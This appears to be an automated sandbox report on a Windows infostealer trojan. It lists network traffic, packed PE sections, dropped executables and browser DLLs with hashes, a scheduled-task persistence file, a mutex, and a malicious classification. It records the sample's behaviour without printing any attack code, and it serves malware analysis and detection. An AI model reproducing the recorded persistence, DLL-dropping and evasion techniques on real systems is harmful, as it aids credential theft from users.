Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.40.150:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.169:443 -> 192.168.2.6:49923 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name:
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.18.dr	Static PE information: section name:
Source: skotes.exe.18.dr	Static PE information: section name: .idata
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name:
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: .idata
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name:
Source: BY5BeYh.exe.26.dr	Static PE information: section name:
Source: BY5BeYh.exe.26.dr	Static PE information: section name: .idata
Source: BY5BeYh.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9AB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9AB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9AB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C94F280

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9435A0	0_2_6C9435A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C956C80	0_2_6C956C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A34A0	0_2_6C9A34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AC4A0	0_2_6C9AC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4D0	0_2_6C96D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9564C0	0_2_6C9564C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986CF0	0_2_6C986CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D4E0	0_2_6C94D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985C10	0_2_6C985C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992C10	0_2_6C992C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BAC00	0_2_6C9BAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B542B	0_2_6C9B542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B545C	0_2_6C9B545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955440	0_2_6C955440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980DD0	0_2_6C980DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A85F0	0_2_6C9A85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970512	0_2_6C970512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96ED10	0_2_6C96ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95FD00	0_2_6C95FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965E90	0_2_6C965E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE680	0_2_6C9AE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4EA0	0_2_6C9A4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94BEF0	0_2_6C94BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95FEF0	0_2_6C95FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B76E3	0_2_6C9B76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987E10	0_2_6C987E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995600	0_2_6C995600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9E30	0_2_6C9A9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969E50	0_2_6C969E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C983E50	0_2_6C983E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964640	0_2_6C964640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992E4E	0_2_6C992E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C670	0_2_6C94C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B6E63	0_2_6C9B6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9977A0	0_2_6C9977A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976FF0	0_2_6C976FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94DFE0	0_2_6C94DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987710	0_2_6C987710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C959F00	0_2_6C959F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9760A0	0_2_6C9760A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B50C7	0_2_6C9B50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C0E0	0_2_6C96C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9858E0	0_2_6C9858E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C957810	0_2_6C957810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B820	0_2_6C98B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994820	0_2_6C994820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C968850	0_2_6C968850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D850	0_2_6C96D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98F070	0_2_6C98F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985190	0_2_6C985190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2990	0_2_6C9A2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D9B0	0_2_6C97D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C9A0	0_2_6C94C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96A940	0_2_6C96A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B970	0_2_6C99B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB170	0_2_6C9BB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D960	0_2_6C95D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BBA90	0_2_6C9BBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95CAB0	0_2_6C95CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2AB0	0_2_6C9B2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9422A0	0_2_6C9422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974AA0	0_2_6C974AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988AC0	0_2_6C988AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C961AF0	0_2_6C961AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98E2F0	0_2_6C98E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989A60	0_2_6C989A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94F380	0_2_6C94F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B53C8	0_2_6C9B53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D320	0_2_6C98D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945340	0_2_6C945340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C370	0_2_6C95C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EECC0	0_2_6C9EECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4ECD0	0_2_6CA4ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACAC30	0_2_6CACAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6C00	0_2_6CAB6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FAC60	0_2_6C9FAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F4DB0	0_2_6C9F4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86D90	0_2_6CA86D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7CDC0	0_2_6CB7CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78D20	0_2_6CB78D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABED70	0_2_6CABED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1AD50	0_2_6CB1AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76E90	0_2_6CA76E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FAEC0	0_2_6C9FAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90EC0	0_2_6CA90EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0E20	0_2_6CAD0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EE70	0_2_6CA8EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38FB0	0_2_6CB38FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FEFB0	0_2_6C9FEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACEFF0	0_2_6CACEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F0FE0	0_2_6C9F0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F6F10	0_2_6C9F6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30F20	0_2_6CB30F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2F70	0_2_6CAB2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5EF40	0_2_6CA5EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF68E0	0_2_6CAF68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA40820	0_2_6CA40820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7A820	0_2_6CA7A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4840	0_2_6CAC4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA809A0	0_2_6CA809A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA9A0	0_2_6CAAA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB09B0	0_2_6CAB09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0C9E0	0_2_6CB0C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA249F0	0_2_6CA249F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46900	0_2_6CA46900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28960	0_2_6CA28960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6EA80	0_2_6CA6EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8A30	0_2_6CAA8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9EA00	0_2_6CA9EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6CA70	0_2_6CA6CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90BA0	0_2_6CA90BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6BE0	0_2_6CAF6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1A480	0_2_6CB1A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA364D0	0_2_6CA364D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8A4D0	0_2_6CA8A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA54420	0_2_6CA54420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7A430	0_2_6CA7A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA08460	0_2_6CA08460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E45B0	0_2_6C9E45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA5E0	0_2_6CABA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E5F0	0_2_6CA7E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA52560	0_2_6CA52560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90570	0_2_6CA90570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38550	0_2_6CB38550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48540	0_2_6CA48540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4540	0_2_6CAF4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4E6E0	0_2_6CA4E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E6E0	0_2_6CA8E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA146D0	0_2_6CA146D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C650	0_2_6CA4C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1A7D0	0_2_6CA1A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA70700	0_2_6CA70700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E8090	0_2_6C9E8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA000B0	0_2_6CA000B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC0B0	0_2_6CACC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC000	0_2_6CABC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8010	0_2_6CAB8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3E070	0_2_6CA3E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F01E0	0_2_6C9F01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66130	0_2_6CA66130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4130	0_2_6CAD4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58140	0_2_6CA58140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC22A0	0_2_6CAC22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE2B0	0_2_6CABE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB762C0	0_2_6CB762C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8220	0_2_6CAC8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA210	0_2_6CABA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78260	0_2_6CA78260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88250	0_2_6CA88250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA223A0	0_2_6CA223A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4E3B0	0_2_6CA4E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA443E0	0_2_6CA443E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA62320	0_2_6CA62320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32370	0_2_6CB32370
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E378BB	18_2_00E378BB
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E38860	18_2_00E38860
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E37049	18_2_00E37049
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E331A8	18_2_00E331A8
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00DF4B30	18_2_00DF4B30
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00DF4DE0	18_2_00DF4DE0
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E32D10	18_2_00E32D10
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E3779B	18_2_00E3779B
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E27F36	18_2_00E27F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00648860	19_2_00648860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00647049	19_2_00647049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_006478BB	19_2_006478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_006431A8	19_2_006431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00604B30	19_2_00604B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00642D10	19_2_00642D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00604DE0	19_2_00604DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00637F36	19_2_00637F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0064779B	19_2_0064779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00648860	20_2_00648860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00647049	20_2_00647049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_006478BB	20_2_006478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_006431A8	20_2_006431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00604B30	20_2_00604B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00642D10	20_2_00642D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00604DE0	20_2_00604DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00637F36	20_2_00637F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0064779B	20_2_0064779B

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006180C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0061DF80 appears 36 times
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: String function: 00E080C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB7DAE0 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9894D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA19B10 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C97CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA13620 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB709D0 appears 215 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB7D930 appears 39 times

Source: BY5BeYh.exe.26.dr	Static PE information: Data appended to the last section found
Source: BY5BeYh[1].exe.26.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2783206012.000000006CBC5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: BY5BeYh[1].exe.26.dr	Static PE information: Section: ZLIB complexity 0.9977827513345195
Source: BY5BeYh[1].exe.26.dr	Static PE information: Section: qinosobo ZLIB complexity 0.9953833933126822
Source: BY5BeYh.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9977827513345195
Source: BY5BeYh.exe.26.dr	Static PE information: Section: qinosobo ZLIB complexity 0.9953766324626866

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/53@6/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9A7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\L5UK4KP5.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
